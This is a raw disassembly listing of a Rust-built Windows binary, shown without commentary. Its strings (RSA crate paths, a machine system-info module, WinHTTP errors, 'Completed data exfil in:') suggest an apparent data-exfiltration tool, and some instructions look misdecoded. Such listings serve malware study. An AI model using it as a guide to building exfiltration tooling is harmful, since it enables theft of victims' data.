lea r9, str.registery_srcindex.crates.io_6f17d22bba15001f_rsa_0.9.6_src_algorithmspkcs1v15.rs
mov rcx, r14
mov rdx, r12
mov r8, r13
call fcn.14000601e
lea rcx, str.registery_srcindex.crates.io_6f17d22bba15001f_rsa_0.9.6_src_algorithmspkcs1v15.rs
mov qword [rsp + 0x20], rcx
mov rcx, rax
mov r8, qword [rbp + 0x8660]
mov r9, qword [rbp + 0x86a0]
call fcn.14001b7c1
mov r8, qword [rbp + 0x8560]
lea rax, [rbp + 0x8390]
mov qword [rax + 0x10], r8
movups xmm0, xmmword [rbp + 0x8550]
movaps xmmword [rax], xmm0
mov rdx, qword [rax + 8]
lea r14, [rbp + 0x84f0]
mov rcx, r14
call fcn.140002abc
movdqu xmm0, xmmword [r14]
movdqu xmm1, xmmword [r14 + 0x10]
movdqu xmm2, xmmword [r14 + 0x20]
lea r15, [rbp + 0x8480]
movdqa xmmword [r15 + 0x20], xmm2
movdqa xmmword [r15 + 0x10], xmm1
movdqa xmmword [r15], xmm0
lea rsi, [rbp + 0x6070]
lea r14, [rbp + 0x85a0]
mov rcx, rsi
mov rdx, r15
lea r8, [rbp + 0x85d0]
mov r9, r14
call fcn.14002e983
mov rcx, r14
call fcn.14003840d
mov r14, rax
lea r12, [rbp + 0x83e0]
mov rcx, r12
mov rdx, rsi
call fcn.140002a40
mov r13, qword [r12 + 8]
mov r8, qword [r12 + 0x10]
lea rsi, [rbp + 0x84f0]
mov rcx, rsi
mov rdx, r13
mov r9, r14
call fcn.140002c0e
mov rcx, qword [r12]
lea r12, [rbp + 0x8390]
mov rdx, r13
call fcn.140037dd5
lea rcx, [rbp + 0x6070]
call fcn.14002a34c
mov rcx, r15
call fcn.140003b33
mov rcx, r12
call fcn.1400039e4
cmp qword [rsi], 0x14
jne 0x140013244
mov r15, qword [rbp + 0x84f8]
mov r13, qword [rbp + 0x8500]
mov r14, qword [rbp + 0x8508]
mov rcx, rdi
call fcn.140034414
lea rcx, [rbp + 0x85a0]
call fcn.140038567
mov rcx, qword [rbp + 0x82f0]
mov rdx, qword [rbp + 0x82f8]
call fcn.140037dd5
mov rcx, qword [rbp + 0x1d8]
mov rdx, r13
mov r8, r14
call fcn.140002ddb
test rax, rax
jne 0x140013274
mov qword [rbp + 0x86a0], r12
mov rcx, r15
mov rdx, r13
call fcn.140037dd5
mov rcx, qword [rbp + 0x8680]
mov rdx, qword [rbp + 0x8648]
call fcn.140037dd5
mov rcx, qword [rbp + 0x8280]
mov rdx, qword [rbp + 0x8288]
call fcn.140037dd5
lea rdi, [rbp + 0x85a0]
and qword [rdi], 0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
test eax, eax
je 0x14001328a
mov rcx, qword [rbp + 0x85a0]
call fcn.1400417d0
mov rcx, qword [rbp + 0x8668]
mov r9, qword [rcx]
mov r8d, dword [rcx + 8]
lea r15, [rbp + 0x6070]
mov qword [r15], rax
mov dword [r15 + 8], edx
mov rcx, r15
mov rdx, r9
call fcn.140041900
xor ecx, ecx
cmp edx, 0x3b9aca00
cmove edx, ecx
cmovne rcx, rax
mov qword [rbp + 0x85a0], rcx
mov dword [rbp + 0x85a8], edx
mov qword [rbp + 0x84f0], rdi
lea rax, str.Completed_data_exfil_in:
mov qword [r15], rax
mov qword [r15 + 8], 2
and qword [r15 + 0x20], 0
lea rax, [0x1400247d0]
mov qword [rbp + 0x84f8], rax
mov qword [r15 + 0x10], rsi
mov qword [r15 + 0x18], 1
lea rcx, [rbp + 0x6070]
call fcn.140046350
mov rdx, qword [rbp + 0x1e0]
lea rdi, [rbp + 0x8078]
mov rcx, rdi
call fcn.1400063a4
lea r15, [rbp + 0x40b0]
mov rsi, qword [rdi + 8]
mov rdi, qword [rdi + 0x10]
mov rcx, r15
call fcn.140002b70
cmp rax, 0x1000
ja 0x1400132c6
lea r12, [rbp + 0x40e0]
mov rcx, r12
call fcn.140005fdd
mov r14, rdx
push 0xd
pop r13
test rax, rax
je 0x1400132cd
mov rcx, r12
mov rdx, r15
call fcn.140003378
push 8
pop rcx
test al, al
jne 0x1400128a3
mov rax, qword [rbp + 0x40d8]
cmp rax, 4
jbe 0x1400102da
mov rax, qword [rbp + 0x40b8]
mov rdx, qword [rbp + 0x40c0]
jmp 0x1400102e1
lea rdx, [rbp + 0x40b8]
test rax, rax
je 0x1400128a3
test byte [rdx], 1
je 0x1400128a3
mov rax, qword [rbp + 0x4108]
cmp rax, 4
jbe 0x140010310
mov rax, qword [rbp + 0x40e8]
mov rdx, qword [rbp + 0x40f0]
jmp 0x140010317
lea rdx, [rbp + 0x40e8]
push 9
pop rcx
test rax, rax
je 0x1400128a3
test byte [rdx], 1
je 0x1400128a3
cmp r14, 2
jb 0x1400132d9
shr r14, 0x21
jne 0x1400132e0
lea r14, [rbp + 0x8330]
mov rcx, r14
mov rdx, rsi
mov r8, rdi
call fcn.140002abc
mov rcx, r14
mov rdx, r15
call fcn.140003378
test al, al
jne 0x140013307
mov rax, qword [rbp + 0x40d8]
cmp rax, 5
push 2
pop rcx
jb 0x14001037f
mov rax, qword [rbp + 0x40b8]
test rax, rax
je 0x140013307
mov qword [rbp + 0x82f0], rcx
mov qword [rbp + 0x8398], r14
mov qword [rbp + 0x8390], rcx
lea r8, [rbp + 0x4140]
mov rbx, qword [r8]
xor r13d, r13d
cmp rbx, rcx
cmove r8, r13
lea rdi, [rbp + 0x4170]
cmove rdi, r13
lea rax, [rbp + 0x41a0]
mov rcx, rax
cmove rcx, r13
cmovne r13, qword [rax + 0x40]
mov qword [rbp + 0x8648], rsi
jne 0x140010431
lea r8, [rbp + 0x4110]
lea rcx, [rbp + 0x8550]
lea rdx, [rbp + 0x8330]
mov r9, r15
call fcn.14002e983
cmp dword [rbp + 0x82f0], 2
jne 0x140010c94
movups xmm0, xmmword [rbp + 0x8550]
movups xmm1, xmmword [rbp + 0x8560]
movups xmm2, xmmword [rbp + 0x8570]
movaps xmmword [rbp + 0x82d0], xmm2
movaps xmmword [rbp + 0x82c0], xmm1
movaps xmmword [rbp + 0x82b0], xmm0
jmp 0x140010ce0
mov qword [rbp + 0x8690], rcx
mov qword [rbp + 0x8678], rbx
mov rdx, qword [rbp + 0x4200]
test rdx, rdx
je 0x140011d82
cmp rdx, 1
je 0x140011d92
mov rax, qword [rbp + 0x41e8]
mov qword [rbp + 0x8688], rax
mov rbx, qword [rbp + 0x41f8]
lea r14, [rbp + 0x85a0]
lea rdx, [rbp + 0x8330]
mov rcx, r14
mov r9, rbx
call fcn.14002e983
lea r15, [rbp + 0x6070]
mov rcx, r15
mov rdx, r14
call fcn.1400060ae
cmp dword [r15], 2
je 0x1400136f3
add rbx, 0x30
mov rax, qword [rbp + 0x60a0]
mov qword [rbp + 0x84b0], rax
movups xmm0, xmmword [rbp + 0x6070]
movups xmm1, xmmword [rbp + 0x6080]
movups xmm2, xmmword [rbp + 0x6090]
movaps xmmword [rbp + 0x84a0], xmm2
movaps xmmword [rbp + 0x8490], xmm1
movaps xmmword [rbp + 0x8480], xmm0
cmp dword [rbp + 0x8390], 2
jne 0x1400104f6
mov rax, qword [rbp + 0x8398]
mov qword [rbp + 0x86a0], rax
mov rcx, r14
mov rdx, qword [rbp + 0x86a0]
mov r8, rdi
mov r9, rbx
call fcn.14002e983
lea rdi, [rbp + 0x6070]
mov rcx, rdi
mov rdx, r14
call fcn.1400060ae
cmp dword [rdi], 2
je 0x1400136ff
mov rax, qword [rbp + 0x60a0]
lea rdx, [rbp + 0x84f0]
mov qword [rdx + 0x30], rax
movdqu xmm0, xmmword [rbp + 0x6070]
movdqu xmm1, xmmword [rbp + 0x6080]
movdqu xmm2, xmmword [rbp + 0x6090]
movdqa xmmword [rdx + 0x20], xmm2
movdqa xmmword [rdx + 0x10], xmm1
movdqa xmmword [rdx], xmm0
lea rcx, [rbp + 0x8480]
call fcn.1400025b5
mov rax, qword [rbp + 0x4200]
mov qword [rbp + 0x8660], rax
test rax, rax
je 0x140010752
mov rcx, qword [rbp + 0x8660]
imul rsi, rcx, 0x38
movabs rax, 0x249249249249249
cmp rcx, rax
ja 0x140013fbb
mov rdi, qword [rbp + 0x41f8]
mov rcx, rsi
call fcn.14003743f
mov qword [rbp + 0x8680], rax
test rax, rax
je 0x140013fbf
lea rsi, [rbp + 0x6070]
mov r12, qword [rbp + 0x8680]
mov rbx, qword [rbp + 0x8660]
mov rax, qword [rdi + 0x28]
cmp rax, 5
jb 0x1400105e1
mov rax, qword [rdi + 8]
test rax, rax
je 0x140010626
mov rcx, rsi
mov rdx, rdi
call fcn.1400057eb
mov rax, qword [rbp + 0x6070]
lea rcx, [rbp + 0x6078]
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
movaps xmmword [rbp + 0x83e0], xmm0
movaps xmmword [rbp + 0x83f0], xmm1
mov rcx, qword [rcx + 0x20]
mov qword [rbp + 0x8400], rcx
mov cl, 2
jmp 0x1400106fb
lea rcx, [rbp + 0x85a0]
call fcn.140005fb8
mov r15, rsi
mov rcx, rsi
lea rdx, [0x14006d7f0]
xor r8d, r8d
call fcn.1400029a4
mov r14, qword [rbp + 0x6098]
lea rsi, [rbp + 0x6078]
cmp r14, 5
jb 0x140010669
mov r14, qword [rbp + 0x6078]
mov rsi, qword [rbp + 0x6080]
lea rcx, [rbp + 0x85a0]
mov rdx, r14
xor r8d, r8d
call fcn.14002aa96
mov rdx, qword [rbp + 0x85c8]
lea rcx, [rbp + 0x85a8]
cmp rdx, 5
jb 0x14001069d
mov rdx, qword [rbp + 0x85a8]
mov rcx, qword [rbp + 0x85b0]
lea rax, str.registery_srcindex.crates.io_6f17d22bba15001f_num_bigint_dig_0.8.4_src_biguint.rs
mov qword [rsp + 0x20], rax
mov r8, rsi
mov r9, r14
call fcn.14002a2e9
lea rcx, [rbp + 0x85a0]
call fcn.140002bc3
mov rsi, r15
mov rcx, r15
call fcn.14002a34c
mov rax, qword [rbp + 0x85a0]
lea rcx, [rbp + 0x85a8]
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
movaps xmmword [rbp + 0x83e0], xmm0
movaps xmmword [rbp + 0x83f0], xmm1
mov rcx, qword [rcx + 0x20]
mov qword [rbp + 0x8400], rcx
mov cl, 1
cmp rax, 2
je 0x14001265d
mov qword [r12], rax
movdqa xmm0, xmmword [rbp + 0x83e0]
movdqa xmm1, xmmword [rbp + 0x83f0]
movdqu xmmword [r12 + 8], xmm0
movdqu xmmword [r12 + 0x18], xmm1
mov rax, qword [rbp + 0x8400]
mov qword [r12 + 0x28], rax
mov byte [r12 + 0x30], cl
add rdi, 0x30
add r12, 0x38
dec rbx
jne 0x1400105d3
mov rbx, qword [rbp + 0x8660]
jmp 0x14001075e
push 8
pop rax
mov qword [rbp + 0x8680], rax
xor ebx, ebx
lea rdi, str.registery_srcindex.crates.io_6f17d22bba15001f_rsa_0.9.6_src_algorithms_rsa.rs_t
lea r14, [rbp + 0x8480]
mov r12, qword [rbp + 0x8680]
cmp byte [rbp + 0x84b0], 0
jne 0x14001079a
mov rcx, r12
mov rdx, rbx
xor r8d, r8d
mov r9, rdi
call fcn.140005a96
mov rcx, r14
mov rdx, rax
call fcn.1400021a4
jmp 0x140010773
lea rdi, [rbp + 0x8480]
mov rcx, rdi
mov rdx, qword [rbp + 0x8690]
call fcn.1400023cd
lea r9, str.registery_srcindex.crates.io_6f17d22bba15001f_rsa_0.9.6_src_algorithms_rsa.rs_t
mov rcx, r12
mov rdx, rbx
xor r8d, r8d
call fcn.140005a96
mov rcx, rdi
mov rdx, rax
call fcn.140002463
lea r9, str.registery_srcindex.crates.io_6f17d22bba15001f_rsa_0.9.6_src_algorithms_rsa.rs_t
push 1
pop r8
mov rcx, r12
mov rdx, rbx
call fcn.140005a96
mov rcx, rdi
mov rdx, rax
call fcn.1400023cd
lea rdx, [rbp + 0x84f0]
mov rcx, rdi
call fcn.1400021a4
movups xmm0, xmmword [rbp + 0x8390]
movups xmm1, xmmword [rbp + 0x83a0]
movups xmm2, xmmword [rbp + 0x83b0]
lea rdx, [rbp + 0x6070]
movaps xmmword [rdx + 0x20], xmm2
movaps xmmword [rdx + 0x10], xmm1
movaps xmmword [rdx], xmm0
lea rdi, [rbp + 0x85a0]
mov rcx, rdi
call fcn.14002a80e
lea r14, [rbp + 0x6070]
mov rcx, r14
mov rdx, rdi
call fcn.1400060ae
cmp dword [r14], 2
je 0x14001370b
lea rcx, [rbp + 0x6070]
mov rax, qword [rcx + 0x30]
lea rdx, [rbp + 0x85a0]
mov qword [rdx + 0x30], rax
movdqu xmm0, xmmword [rcx]
movdqu xmm1, xmmword [rcx + 0x10]
movdqu xmm2, xmmword [rcx + 0x20]
movdqa xmmword [rdx + 0x20], xmm2
movdqa xmmword [rdx + 0x10], xmm1
movdqa xmmword [rdx], xmm0
imul rax, qword [rbp + 0x8688], 0xa8
add rax, r13
mov qword [rbp + 0x86a0], rax
xor esi, esi
lea r15, [rbp + 0x84f0]
cmp r13, qword [rbp + 0x86a0]
je 0x140010b28
lea r8, [rsi + 2]
mov rcx, r12
mov rdi, rbx
mov rdx, rbx
lea r9, str.registery_srcindex.crates.io_6f17d22bba15001f_rsa_0.9.6_src_algorithms_rsa.rs_t
call fcn.140005a96
cmp byte [r13 + 0x30], 0
je 0x140012585
mov r14, rax
mov bl, byte [rax + 0x30]
cmp bl, 1
je 0x1400125be
lea rcx, [rbp + 0x8550]
lea rdx, [rbp + 0x85a0]
mov r8, r13
mov r9, r14
call fcn.14002e983
mov rax, qword [rbp + 0x8578]
cmp rax, 5
jb 0x14001090f
mov rax, qword [rbp + 0x8558]
test rax, rax
je 0x140010963
cmp byte [rbp + 0x85d0], 0
je 0x140010980
test bl, bl
lea r8, [rbp + 0x83e0]
je 0x1400109e2
movdqu xmm0, xmmword [rbp + 0x8550]
movdqu xmm1, xmmword [rbp + 0x8560]
movdqu xmm2, xmmword [rbp + 0x8570]
movdqa xmmword [rbp + 0x8400], xmm2
movdqa xmmword [rbp + 0x83f0], xmm1
movdqa xmmword [rbp + 0x83e0], xmm0
mov dl, 2
jmp 0x140010a64
lea rcx, [rbp + 0x6070]
call fcn.14000586b
lea rcx, [rbp + 0x8550]
call fcn.14002a34c
jmp 0x140010a73
test bl, bl
lea r8, [rbp + 0x83e0]
je 0x140010a32
movdqu xmm0, xmmword [rbp + 0x8550]
movdqu xmm1, xmmword [rbp + 0x8560]
movdqu xmm2, xmmword [rbp + 0x8570]
movdqa xmmword [rbp + 0x6090], xmm2
movdqa xmmword [rbp + 0x6080], xmm1
movdqa xmmword [rbp + 0x6070], xmm0
mov rcx, r8
mov rdx, r14
lea rbx, [rbp + 0x6070]
mov r8, rbx
call fcn.14002be2d
lea r8, [rbp + 0x83e0]
mov dl, 2
jmp 0x140010a6b
movdqu xmm0, xmmword [rbp + 0x8550]
movdqu xmm1, xmmword [rbp + 0x8560]
movdqu xmm2, xmmword [rbp + 0x8570]
movdqa xmmword [rbp + 0x6090], xmm2
movdqa xmmword [rbp + 0x6080], xmm1
movdqa xmmword [rbp + 0x6070], xmm0
mov rcx, r8
mov rdx, r14
lea rbx, [rbp + 0x6070]
mov r8, rbx
call fcn.14002be2d
lea r8, [rbp + 0x83e0]
xor edx, edx
jmp 0x140010a6b
movdqu xmm0, xmmword [rbp + 0x8550]
movdqu xmm1, xmmword [rbp + 0x8560]
movdqu xmm2, xmmword [rbp + 0x8570]
movdqa xmmword [rbp + 0x8400], xmm2
movdqa xmmword [rbp + 0x83f0], xmm1
movdqa xmmword [rbp + 0x83e0], xmm0
xor edx, edx
lea rbx, [rbp + 0x6070]
mov rcx, rbx
call fcn.1400028cc
mov rcx, r15
call fcn.14002a34c
mov rax, qword [rbp + 0x60a0]
mov qword [rbp + 0x8520], rax
movdqu xmm0, xmmword [rbp + 0x6070]
movdqu xmm1, xmmword [rbp + 0x6080]
movdqu xmm2, xmmword [rbp + 0x6090]
movdqa xmmword [rbp + 0x8510], xmm2
movdqa xmmword [rbp + 0x8500], xmm1
movdqa xmmword [rbp + 0x84f0], xmm0
mov rcx, r15
lea rdx, [rbp + 0x8480]
call fcn.1400025b5
lea rdx, [r13 + 0x38]
mov rcx, r15
call fcn.1400023cd
mov rcx, r15
mov rdx, r14
call fcn.140002463
cmp byte [rbp + 0x8520], 0
jne 0x140010af5
mov rcx, r15
mov rdx, r14
call fcn.1400021a4
jmp 0x140010adf
lea rbx, [r13 + 0xa8]
inc rsi
add r13, 0x70
mov rcx, r15
mov rdx, r13
call fcn.1400023cd
lea rcx, [rbp + 0x8480]
mov rdx, r15
call fcn.1400021a4
mov r13, rbx
mov rbx, rdi
jmp 0x1400108a2
imul rsi, qword [rbp + 0x8660], 0x38
xor edi, edi
cmp rsi, rdi
je 0x140010b46
lea rcx, [r12 + rdi]
call fcn.14002ab94
add rdi, 0x38
jmp 0x140010b32
mov rsi, qword [rbp + 0x8660]
sub rsi, 1
jb 0x140010b61
mov rcx, r12
call fcn.14002a34c
add r12, 0x38
jmp 0x140010b4d
lea rcx, [rbp + 0x85a0]
call fcn.14002ab94
lea rcx, [rbp + 0x84f0]
call fcn.14002ab94
mov rax, qword [rbp + 0x84b0]
mov qword [rbp + 0x60a0], rax
movdqa xmm0, xmmword [rbp + 0x8480]
movdqa xmm1, xmmword [rbp + 0x8490]
movdqa xmm2, xmmword [rbp + 0x84a0]
movdqa xmmword [rbp + 0x6090], xmm2
movdqa xmmword [rbp + 0x6080], xmm1
movdqa xmmword [rbp + 0x6070], xmm0
movzx eax, al
cmp eax, 2
je 0x140010bd2
cmp eax, 1
jne 0x140010c04
lea rcx, [rbp + 0x83e0]
call fcn.140005fb8
jmp 0x140010c0f
movdqa xmm0, xmmword [rbp + 0x8480]
movdqa xmm1, xmmword [rbp + 0x8490]
movdqa xmm2, xmmword [rbp + 0x84a0]
movdqa xmmword [rbp + 0x8400], xmm2
movdqa xmmword [rbp + 0x83f0], xmm1
movdqa xmmword [rbp + 0x83e0], xmm0
jmp 0x140010c1b
mov qword [rbp + 0x83e0], 2
lea rcx, [rbp + 0x6070]
call fcn.14002a34c
lea rax, str.registery_srcindex.crates.io_6f17d22bba15001f_rsa_0.9.6_src_algorithms_rsa.rs_t
mov qword [rsp + 0x20], rax
lea r8, str.failed_to_decrypt
lea rcx, [rbp + 0x8550]
lea rdx, [rbp + 0x83e0]
push 0x11
pop r9
call fcn.1400042ca
lea rcx, [rbp + 0x85a0]
call fcn.14002a34c
test rbx, rbx
je 0x140010c66
imul rdx, rbx, 0x38
mov rcx, qword [rbp + 0x8680]
call fcn.140037dee
lea rcx, [rbp + 0x84f0]
call fcn.14002a34c
cmp dword [rbp + 0x82f0], 2
lea r15, [rbp + 0x40b0]
lea r12, [rbp + 0x40e0]
mov rbx, qword [rbp + 0x8678]
je 0x140010402
lea rdi, [rbp + 0x6070]
lea r8, [rbp + 0x8550]
lea r9, [rbp + 0x82f0]
mov rcx, rdi
mov rdx, r15
call fcn.140038340
movups xmm0, xmmword [rdi]
movups xmm1, xmmword [rdi + 0x10]
movups xmm2, xmmword [rdi + 0x20]
movaps xmmword [rbp + 0x82d0], xmm2
movaps xmmword [rbp + 0x82c0], xmm1
movaps xmmword [rbp + 0x82b0], xmm0
lea rcx, [rbp + 0x8550]
call fcn.14002a34c
cmp ebx, 2
jne 0x140010cfb
cmp qword [rbp + 0x8390], 2
je 0x140010cfb
lea rcx, [rbp + 0x8390]
call fcn.14002a34c
cmp dword [rbp + 0x82f0], 2
je 0x140010d10
lea rcx, [rbp + 0x82f0]
call fcn.14002a34c
movdqa xmm0, xmmword [rbp + 0x82b0]
movdqa xmm1, xmmword [rbp + 0x82c0]
movdqa xmm2, xmmword [rbp + 0x82d0]
lea rdx, [rbp + 0x8280]
movdqa xmmword [rdx], xmm0
movdqa xmmword [rdx + 0x10], xmm1
movdqa xmmword [rdx + 0x20], xmm2
lea rdi, [rbp + 0x6070]
mov rcx, rdi
mov r8, r12
mov r9, r15
call fcn.14002e983
lea rcx, [rbp + 0x8330]
mov rdx, rdi
call fcn.140005858
test al, al
je 0x1400132ec
movdqa xmm6, xmmword [rbp + 0x8280]
mov rsi, qword [rbp + 0x8290]
movups xmm0, xmmword [rbp + 0x8298]
movaps xmmword [rbp + 0x8440], xmm0
mov rax, qword [rbp + 0x82a8]
mov qword [rbp + 0x8450], rax
lea rcx, [rbp + 0x6070]
call fcn.14002a34c
movaps xmm0, xmmword [rbp + 0x8440]
movaps xmmword [rbp + 0x8240], xmm0
mov rax, qword [rbp + 0x8450]
mov qword [rbp + 0x8250], rax
lea rcx, [rbp + 0x8330]
call fcn.14002a34c
mov rcx, r15
call fcn.14003840d
mov rdi, rax
lea rbx, [rbp + 0x85a0]
movdqu xmmword [rbx], xmm6
mov qword [rbx + 0x10], rsi
movdqa xmm0, xmmword [rbp + 0x8240]
movdqu xmmword [rbx + 0x18], xmm0
mov rax, qword [rbp + 0x8250]
mov qword [rbx + 0x28], rax
lea rsi, [rbp + 0x84f0]
mov rcx, rsi
mov rdx, rbx
call fcn.140002a40
mov rdx, qword [rsi + 8]
mov r8, qword [rsi + 0x10]
lea r14, [rbp + 0x6070]
mov rcx, r14
mov r9, rdi
call fcn.140002c0e
mov rcx, rsi
call fcn.1400039e4
mov rcx, rbx
call fcn.140003b33
mov rcx, qword [r14]
mov rax, qword [r14 + 8]
mov r12, qword [r14 + 0x10]
mov rbx, qword [r14 + 0x18]
cmp rcx, 0x14
jne 0x140013349
mov qword [rbp + 0x86a0], rax
mov rcx, r15
call fcn.14003840d
cmp rax, 0xb
jb 0x140013386
lea r9, str.registery_srcindex.crates.io_6f17d22bba15001f_rsa_0.9.6_src_algorithmspkcs1v15.rs
xor esi, esi
mov rcx, r12
mov rdx, rbx
xor r8d, r8d
call fcn.140005aba
mov cl, byte [rax]
xor edx, edx
call fcn.14000333b
mov byte [rbp + 0x8680], al
lea r9, str.registery_srcindex.crates.io_6f17d22bba15001f_rsa_0.9.6_src_algorithmspkcs1v15.rs
push 1
pop r8
mov rcx, r12
mov rdx, rbx
mov qword [rbp + 0x8688], r8
call fcn.140005aba
mov cl, byte [rax]
mov dl, 2
call fcn.14000333b
mov byte [rbp + 0x8690], al
mov qword [rbp + 0x8678], rbx
lea r13, [r12 + rbx]
mov bl, 1
mov qword [rbp + 0x8660], r12
xor edi, edi
xor r15d, r15d
push 2
pop rcx
test sil, 1
je 0x140010ee3
cmp r12, r13
jne 0x140010ef4
mov rax, r13
sub rax, r12
cmp rax, rcx
jbe 0x140010f36
push 4
pop rcx
push 0x20
pop rdx
call fcn.140056ae0
mov eax, dword [rbp + 0x8524]
mov dword [rbp + 0x84b4], eax
movdqu xmm0, xmmword [rbp + 0x84f4]
movdqu xmm1, xmmword [rbp + 0x8504]
movdqu xmm2, xmmword [rbp + 0x8514]
jmp 0x140011d27
lea rcx, str.srcmachine_sys_info.rs
call fcn.140057260
jmp 0x140011cbc
mov rax, qword [rbp + 0x85a8]
mov qword [rbp + 0x8698], rax
mov rdx, qword [rbp + 0x85b0]
mov rcx, qword [rbp + 0x8698]
call fcn.140056ac0
jmp case.0x14000675c.2
mov eax, dword [rbp + 0x85d4]
mov dword [rbp + 0x84b4], eax
movdqu xmm0, xmmword [rbp + 0x85a4]
movdqu xmm1, xmmword [rbp + 0x85b4]
movdqu xmm2, xmmword [rbp + 0x85c4]
movdqu xmmword [rbp + 0x84a4], xmm2
movdqu xmmword [rbp + 0x8494], xmm1
movdqu xmmword [rbp + 0x8484], xmm0
mov rax, qword [rbp + 0x8658]
mov dword [rbp + 0x8480], eax
mov rdx, qword [rbp + 0x8484]
mov r12d, dword [rbp + 0x848c]
mov rcx, qword [rbp + 0x8490]
mov r15, qword [rbp + 0x8498]
movups xmm0, xmmword [rbp + 0x84a0]
movaps xmmword [rbp + 0x8280], xmm0
mov rax, qword [rbp + 0x84b0]
jmp 0x14000d40d
lea r8, str.registery_srcindex.crates.io_6f17d22bba15001f_rsa_0.9.6_src_algorithms_rsa.rs_t
xor ecx, ecx
xor edx, edx
call fcn.140056bf0
lea r8, str.registery_srcindex.crates.io_6f17d22bba15001f_rsa_0.9.6_src_algorithms_rsa.rs_t
push 1
pop rcx
call fcn.140056bf0
lea eax, [rsi - 0x2f44]
cmp eax, 3
ja case.default.0x140011dba
lea rcx, [0x14006e580]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
lea rdx, [0x14005b29e]
jmp 0x140012151
cmp esi, 0x2f19
jne case.0x14000da5f.12003
lea rdx, [0x14005b8aa]
jmp 0x140012165
cmp qword [rbp + 0x8338], rcx
jae 0x14001224a
push 0xd
pop r12
mov rax, qword [rbp + 0x82c0]
mov qword [rbp + 0x8450], rax
movdqu xmm0, xmmword [rbp + 0x82b0]
test dword [rax + 0x66000082], esi
movq qword [rbp + 0x8440], mm0
test dword [rax + 0x66000082], esi
movq qword [rbp + 0x8440], mm0
push 1
pop rax
mov qword [rbp + 0x8658], rax
xor eax, eax
mov edx, ecx
jmp 0x14000db46
shl rsi, 0x20
or rsi, 2
jmp 0x140012173
lea rdx, [0x14005b640]
jmp 0x140012151
lea rdx, [0x14005b5d0]
push 0x23
pop r8
mov cl, 0x15
jmp 0x14001216b
lea rdx, [0x14005b616]
jmp 0x1400120ec
lea rdx, [0x14005b48b]
jmp 0x1400120ec
lea rdx, [0x14005b76b]
jmp 0x140011f76
lea rdx, [0x14005b901]
jmp 0x140012027
lea rdx, [0x14005b21e]
jmp 0x1400120ec
lea rdx, [0x14005b9fd]
push 0x2e
jmp 0x140012167
lea rdx, [0x14005b99c]
jmp 0x1400120de
lea rdx, [0x14005b882]
jmp 0x1400120de
lea rdx, [0x14005b6d4]
push 0x24
jmp 0x140012167
lea rdx, [0x14005b92a]
jmp 0x14001211e
lea rdx, [0x14005ba2b]
jmp 0x1400120ec
lea rdx, [0x14005b7ff]
jmp 0x140012165
lea rdx, [0x14005b1f1]
jmp 0x140012129
lea rdx, [0x14005b8d5]
jmp 0x140012151
lea rdx, str.ERROR_WINHTTP_AUTODETECTION_FAILED:_12180ERROR_WINHTTP_AUTO_PROXY_SERVICE_ERROR:_12178ERROR_WINHTTP_BAD_AUTO_PROXY_SCRIPT:_12166ERROR_WINHTTP_CANNOT_CALL_AFTER_OPEN:_12103ERROR_WINHTTP_CANNOT_CALL_AFTER_SEND:_12102ERROR_WINHTTP_CANNOT_CALL_BEFORE_OPEN:_12100ERROR_WINHTTP_CANNOT_CALL_BEFORE_SEND:_12101ERROR_WINHTTP_CANNOT_CONNECT:_12029ERROR_WINHTTP_CHUNKED_ENCODING_HEADER_SIZE_OVERFLOW:_12183ERROR_WINHTTP_CLIENT_AUTH_CERT_NEEDED:_12044ERROR_WINHTTP_CLIENT_AUTH_CERT_NEEDED_PROXY:_12187ERROR_WINHTTP_CLIENT_CERT_NO_ACCESS_PRIVATE_KEY:_12186ERROR_WINHTTP_CLIENT_CERT_NO_PRIVATE_KEY:_12185ERROR_WINHTTP_CONNECTION_ERROR:_12030ERROR_WINHTTP_FEATURE_DISABLED:_12192ERROR_WINHTTP_GLOBAL_CALLBACK_FAILED:_12191ERROR_WINHTTP_HEADER_ALREADY_EXISTS:_12155ERROR_WINHTTP_HEADER_COUNT_EXCEEDED:_12181ERROR_WINHTTP_HEADER_NOT_FOUND:_12150ERROR_WINHTTP_HEADER_SIZE_OVERFLOW:_12182ERROR_WINHTTP_HTTP_PROTOCOL_MISMATCH:_12190ERROR_WINHTTP_INCORRECT_HANDLE_STATE:_12019ERROR_WINHTTP_INCORRECT_HANDLE_TYPE:_12018ERROR_WINHTTP_INTERNAL_ERROR:_12004ERROR_WINHTTP_INVALID_HEADER:_12153ERROR_WINHTTP_INVALID_OPTION:_12009ERROR_WINHTTP_INVALID_QUERY_REQUEST:_12154ERROR_WINHTTP_INVALID_SERVER_RESPONSE:_12152ERROR_WINHTTP_INVALID_URL:_12005ERROR_WINHTTP_LOGIN_FAILURE:_12015ERROR_WINHTTP_NAME_NOT_RESOLVED:_12007ERROR_WINHTTP_NOT_INITIALIZED:_12172ERROR_WINHTTP_OPERATION_CANCELLED:_12017ERROR_WINHTTP_OPTION_NOT_SETTABLE:_12011ERROR_WINHTTP_OUT_OF_HANDLES:_12001ERROR_WINHTTP_REDIRECT_FAILED:_12156ERROR_WINHTTP_RESEND_REQUEST:_12032ERROR_WINHTTP_RESERVED_189:_12189ERROR_WINHTTP_RESPONSE_DRAIN_OVERFLOW:_12184ERROR_WINHTTP_SCRIPT_EXECUTION_ERROR:_12177ERROR_WINHTTP_SECURE_CERT_CN_INVALID:_12038ERROR_WINHTTP_SECURE_CERT_DATE_INVALID:_12037ERROR_WINHTTP_SECURE_CERT_REVOKED:_12170ERROR_WINHTTP_SECURE_CERT_REV_FAILED:_12057ERROR_WINHTTP_SECURE_CERT_WRONG_USAGE:_12179ERROR_WINHTTP_SECURE_CHANNEL_ERROR:_12157ERROR_WINHTTP_SECURE_FAILURE:_12175ERROR_WINHTTP_SECURE_FAILURE_PROXY:_12188ERROR_WINHTTP_SECURE_INVALID_CA:_12045ERROR_WINHTTP_SECURE_INVALID_CERT:_12169ERROR_WINHTTP_SHUTDOWN:_12012ERROR_WINHTTP_TIMEOUT:_12002ERROR_WINHTTP_UNABLE_TO_DOWNLOAD_SCRIPT:_12167ERROR_WINHTTP_UNHANDLED_SCRIPT_TYPE:_12176ERROR_WINHTTP_UNRECOGNIZED_SCHEME:_12006registery_srcindex.crates.io_6f17d22bba15001f_alhc_0.2.2_srcwindowsmod.rs
jmp 0x140012027
lea rdx, [0x14005b4b5]
jmp 0x1400120ec
lea rdx, [0x14005b504]
push 0x29
jmp 0x140011fed
